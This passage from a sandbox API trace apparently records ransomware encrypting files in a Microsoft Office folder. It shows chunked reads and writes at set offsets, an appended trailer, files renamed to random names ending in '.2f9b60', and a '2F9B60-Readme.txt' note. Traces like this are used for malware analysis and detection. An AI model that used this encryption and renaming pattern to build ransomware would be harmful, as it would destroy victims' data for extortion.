| out: Seed=0x2058f7d0) returned 0x23c0268 [0122.272] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x4e8bde08 [0122.272] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x6c9755d9 [0122.272] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x3c9f9435 [0122.272] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x23bfabf6 [0122.272] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x475a8176 [0122.272] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x6f88abb2 [0122.272] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x2fadbb4f [0122.272] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x308432f4 [0122.272] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x20662635 [0122.272] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x6ebb0245 [0122.272] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x7d4dfd27 [0122.272] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x2863ed30 [0122.272] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x20a080ba [0122.272] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x6ca136a8 [0122.272] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x2ce46be8 [0122.273] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x71c8e063 [0122.273] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x3c56e8c9 [0122.273] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x22fd286 [0122.273] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x13888c16 [0122.273] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x41e3a199 [0122.273] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x4643a62e [0122.273] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x3cc79401 [0122.273] RtlRandomEx (in: Seed=0x2058f7d0 | out: Seed=0x2058f7d0) returned 0x7ead2afb [0124.483] SetFilePointerEx (in: hFile=0xda8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.483] ReadFile (in: hFile=0xda8, lpBuffer=0x41ff1d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2058f840, lpOverlapped=0x0 | out: lpBuffer=0x41ff1d40*, lpNumberOfBytesRead=0x2058f840*=0x3c00, lpOverlapped=0x0) returned 1 [0124.862] SetFilePointerEx (in: hFile=0xda8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0124.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504890 [0124.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a5d0 [0124.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a5d0) returned 1 [0124.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b7d170 [0124.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a5d0 [0124.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a630 [0124.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a630) returned 1 [0124.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504890) returned 1 [0124.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0124.863] WriteFile (in: hFile=0xda8, lpBuffer=0x41b7d170*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2058f840, lpOverlapped=0x0 | out: lpBuffer=0x41b7d170*, lpNumberOfBytesWritten=0x2058f840*=0x3c00, lpOverlapped=0x0) returned 1 [0166.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b7d170) returned 1 [0166.168] SetFilePointerEx (in: hFile=0xda8, liDistanceToMove=0x1e000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.168] ReadFile (in: hFile=0xda8, lpBuffer=0x41ff1d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2058f840, lpOverlapped=0x0 | out: lpBuffer=0x41ff1d40*, lpNumberOfBytesRead=0x2058f840*=0x3c00, lpOverlapped=0x0) returned 1 [0166.252] SetFilePointerEx (in: hFile=0xda8, liDistanceToMove=0x1e000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0166.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0166.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0d10 [0166.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0d10) returned 1 [0166.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429e2670 [0166.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0d10 [0166.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1550 [0166.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1550) returned 1 [0166.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0166.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0166.254] WriteFile (in: hFile=0xda8, lpBuffer=0x429e2670*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2058f840, lpOverlapped=0x0 | out: lpBuffer=0x429e2670*, lpNumberOfBytesWritten=0x2058f840*=0x3c00, lpOverlapped=0x0) returned 1 [0187.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429e2670) returned 1 [0187.145] SetFilePointerEx (in: hFile=0xda8, liDistanceToMove=0x37dd6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.145] ReadFile (in: hFile=0xda8, lpBuffer=0x41ff1d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2058f840, lpOverlapped=0x0 | out: lpBuffer=0x41ff1d40*, lpNumberOfBytesRead=0x2058f840*=0x3c00, lpOverlapped=0x0) returned 1 [0190.558] SetFilePointerEx (in: hFile=0xda8, liDistanceToMove=0x37dd6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138ce0 [0190.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138ce0) returned 1 [0190.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b392c0 [0190.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138ce0 [0190.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138d10 [0190.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138d10) returned 1 [0190.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.563] WriteFile (in: hFile=0xda8, lpBuffer=0x42b392c0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2058f840, lpOverlapped=0x0 | out: lpBuffer=0x42b392c0*, lpNumberOfBytesWritten=0x2058f840*=0x3c00, lpOverlapped=0x0) returned 1 [0205.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b392c0) returned 1 [0205.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f600 [0205.334] SetFilePointerEx (in: hFile=0xda8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.334] WriteFile (in: hFile=0xda8, lpBuffer=0x431f49e0*, nNumberOfBytesToWrite=0x14c, lpNumberOfBytesWritten=0x2058f8f0, lpOverlapped=0x0 | out: lpBuffer=0x431f49e0*, lpNumberOfBytesWritten=0x2058f8f0*=0x14c, lpOverlapped=0x0) returned 1 [0208.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616f0 [0208.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b2e0 [0208.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b2e0) returned 1 [0208.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4205b2e0 [0208.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b2b0 [0208.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b250 [0208.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b250) returned 1 [0208.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616f0) returned 1 [0208.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1ce5d970 [0208.722] sprintf (in: _Dest=0x1ce5d970, _Format="%c%c" | out: _Dest="0c") returned 2 [0208.722] sprintf (in: _Dest=0x1ce5d972, _Format="%c%c" | out: _Dest="ee") returned 2 [0208.722] sprintf (in: _Dest=0x1ce5d974, _Format="%c%c" | out: _Dest="99") returned 2 [0208.722] sprintf (in: _Dest=0x1ce5d976, _Format="%c%c" | out: _Dest="7b") returned 2 [0208.722] sprintf (in: _Dest=0x1ce5d978, _Format="%c%c" | out: _Dest="c7") returned 2 [0208.722] sprintf (in: _Dest=0x1ce5d97a, _Format="%c%c" | out: _Dest="c3") returned 2 [0208.722] sprintf (in: _Dest=0x1ce5d97c, _Format="%c%c" | out: _Dest="1c") returned 2 [0208.722] sprintf (in: _Dest=0x1ce5d97e, _Format="%c%c" | out: _Dest="59") returned 2 [0208.722] sprintf (in: _Dest=0x1ce5d980, _Format="%c%c" | out: _Dest="0e") returned 2 [0208.722] sprintf (in: _Dest=0x1ce5d982, _Format="%c%c" | out: _Dest="d7") returned 2 [0208.722] sprintf (in: _Dest=0x1ce5d984, _Format="%c%c" | out: _Dest="ab") returned 2 [0208.722] sprintf (in: _Dest=0x1ce5d986, _Format="%c%c" | out: _Dest="35") returned 2 [0208.722] sprintf (in: _Dest=0x1ce5d988, _Format="%c%c" | out: _Dest="77") returned 2 [0208.722] sprintf (in: _Dest=0x1ce5d98a, _Format="%c%c" | out: _Dest="40") returned 2 [0208.722] sprintf (in: _Dest=0x1ce5d98c, _Format="%c%c" | out: _Dest="d5") returned 2 [0208.722] sprintf (in: _Dest=0x1ce5d98e, _Format="%c%c" | out: _Dest="37") returned 2 [0208.722] sprintf (in: _Dest=0x1ce5d990, _Format="%c%c" | out: _Dest="a8") returned 2 [0208.722] sprintf (in: _Dest=0x1ce5d992, _Format="%c%c" | out: _Dest="ef") returned 2 [0208.722] sprintf (in: _Dest=0x1ce5d994, _Format="%c%c" | out: _Dest="56") returned 2 [0208.722] sprintf (in: _Dest=0x1ce5d996, _Format="%c%c" | out: _Dest="f1") returned 2 [0208.722] sprintf (in: _Dest=0x1ce5d998, _Format="%c%c" | out: _Dest="2a") returned 2 [0208.722] sprintf (in: _Dest=0x1ce5d99a, _Format="%c%c" | out: _Dest="5f") returned 2 [0208.722] sprintf (in: _Dest=0x1ce5d99c, _Format="%c%c" | out: _Dest="18") returned 2 [0208.722] sprintf (in: _Dest=0x1ce5d99e, _Format="%c%c" | out: _Dest="fc") returned 2 [0208.722] sprintf (in: _Dest=0x1ce5d9a0, _Format="%c%c" | out: _Dest="62") returned 2 [0208.723] sprintf (in: _Dest=0x1ce5d9a2, _Format="%c%c" | out: _Dest="e2") returned 2 [0208.723] RtlInitAnsiString (in: DestinationString=0x2058f968, SourceString="0cee997bc7c31c590ed7ab357740d537a8ef56f12a5f18fc62e2" | out: DestinationString="0cee997bc7c31c590ed7ab357740d537a8ef56f12a5f18fc62e2") [0208.723] RtlAnsiStringToUnicodeString (in: DestinationString=0x2058f938, SourceString="0cee997bc7c31c590ed7ab357740d537a8ef56f12a5f18fc62e2", AllocateDestinationString=1 | out: DestinationString="0cee997bc7c31c590ed7ab357740d537a8ef56f12a5f18fc62e2") returned 0x0 [0208.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1cebb460 [0208.723] wcscat (in: _Dest=0x431a6f60, _Source="0cee997bc7c31" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\0cee997bc7c31") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\0cee997bc7c31" [0208.723] wcscat (in: _Dest=0x431a6f60, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\0cee997bc7c31.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\0cee997bc7c31.2f9b60" [0208.723] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\0cee997bc7c31.2f9b60", NtPathName=0x2058f910, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\0cee997bc7c31.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x430fd350 [0226.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430fd350) returned 1 [0226.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a8300) returned 1 [0226.734] NtQueryInformationFile (in: FileHandle=0xda8, IoStatusBlock=0x2058f978, FileInformation=0x2058f988, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2058f978, FileInformation=0x2058f988) returned 0x0 [0226.734] NtSetInformationFile (FileHandle=0xda8, IoStatusBlock=0x2058f978, FileInformation=0x2058f988, Length=0x28, FileInformationClass=0x4) returned 0x0 [0234.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a6f60) returned 1 [0234.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb460) returned 1 [0234.882] FlushFileBuffers (hFile=0xda8) returned 1 [0238.218] CloseHandle (hObject=0xda8) returned 1 [0241.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x202add90 [0241.546] wcscpy (in: _Dest=0x202add90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" [0241.546] wcscat (in: _Dest=0x202add90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt" [0241.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\2f9b60-readme.txt")) returned 0x20 [0241.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202add90) returned 1 [0241.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae100) returned 1 Thread: id = 1531 os_tid = 0x1a40 [0121.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\ISO690.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\iso690.xsl")) returned 0x20 [0121.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\ISO690.XSL", dwFileAttributes=0x20) returned 1 [0121.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\ISO690.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\iso690.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffc [0121.546] GetFileSizeEx (in: hFile=0xffc, lpFileSize=0x20a1fcc0 | out: lpFileSize=0x20a1fcc0*=262973) returned 1 [0121.546] SetFilePointerEx (in: hFile=0xffc, liDistanceToMove=0x40339, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.546] ReadFile (in: hFile=0xffc, lpBuffer=0x20a1fc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x20a1fc88, lpOverlapped=0x0 | out: lpBuffer=0x20a1fc40*, lpNumberOfBytesRead=0x20a1fc88*=0x4, lpOverlapped=0x0) returned 1 [0122.288] SetFilePointerEx (in: hFile=0xffc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263980 [0122.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9c10 [0122.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a90 [0122.289] NtQuerySystemTime (in: CurrentTime=0x20a1fb80 | out: CurrentTime=0x20a1fb80*=132462177276778000) returned 0x0 [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x58a33257 [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x6f7a64f5 [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x740b6acc [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x17ecfe4b [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x2def5d96 [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x64493a40 [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x5bc8a432 [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x6a4fb540 [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x57ad8cb [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x764646c9 [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x64493a40 [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x27047b68 [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0xf3fcde3 [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x71c8e063 [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x2f0f0591 [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x57ad8cb [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x3e95a7ae [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x78009857 [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x1d5cc17d [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x38d15005 [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x475a8176 [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x396aa005 [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x72f5c886 [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x7dd3db96 [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x41e3a199 [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x57327d5b [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x1da583d1 [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x6ca136a8 [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x16b46a95 [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x5caa27e4 [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x17ddb9ef [0122.289] RtlRandomEx (in: Seed=0x20a1fb70 | out: Seed=0x20a1fb70) returned 0x18268b20 [0124.485] SetFilePointerEx (in: hFile=0xffc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.485] ReadFile (in: hFile=0xffc, lpBuffer=0x41ff9560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x20a1fbe0, lpOverlapped=0x0 | out: lpBuffer=0x41ff9560*, lpNumberOfBytesRead=0x20a1fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0124.866] SetFilePointerEx (in: hFile=0xffc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0124.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504890 [0124.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b500 [0124.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b500) returned 1 [0124.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b578d0 [0124.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b500 [0124.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a4e0 [0124.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a4e0) returned 1 [0124.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504890) returned 1 [0124.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0124.867] WriteFile (hFile=0xffc, lpBuffer=0x41b578d0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x20a1fbe0, lpOverlapped=0x0) [0176.618] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b578d0) returned 1 [0176.618] SetFilePointerEx (in: hFile=0xffc, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.618] ReadFile (in: hFile=0xffc, lpBuffer=0x41ff9560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x20a1fbe0, lpOverlapped=0x0 | out: lpBuffer=0x41ff9560*, lpNumberOfBytesRead=0x20a1fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0176.641] SetFilePointerEx (in: hFile=0xffc, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0176.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0176.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7b20 [0176.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7b20) returned 1 [0176.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423b2110 [0176.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7b20 [0176.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7b80 [0176.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7b80) returned 1 [0176.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0176.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0176.644] WriteFile (in: hFile=0xffc, lpBuffer=0x423b2110*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x20a1fbe0, lpOverlapped=0x0 | out: lpBuffer=0x423b2110*, lpNumberOfBytesWritten=0x20a1fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0186.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423b2110) returned 1 [0186.221] SetFilePointerEx (in: hFile=0xffc, liDistanceToMove=0x3c73d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.221] ReadFile (in: hFile=0xffc, lpBuffer=0x41ff9560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x20a1fbe0, lpOverlapped=0x0 | out: lpBuffer=0x41ff9560*, lpNumberOfBytesRead=0x20a1fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0186.546] SetFilePointerEx (in: hFile=0xffc, liDistanceToMove=0x3c73d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5ba70 [0186.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42308000 [0186.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca220 [0186.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca220) returned 1 [0186.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b7ced0 [0186.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca220 [0186.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca250 [0186.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca250) returned 1 [0186.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42308000) returned 1 [0186.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ba70) returned 1 [0186.551] WriteFile (in: hFile=0xffc, lpBuffer=0x42b7ced0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x20a1fbe0, lpOverlapped=0x0 | out: 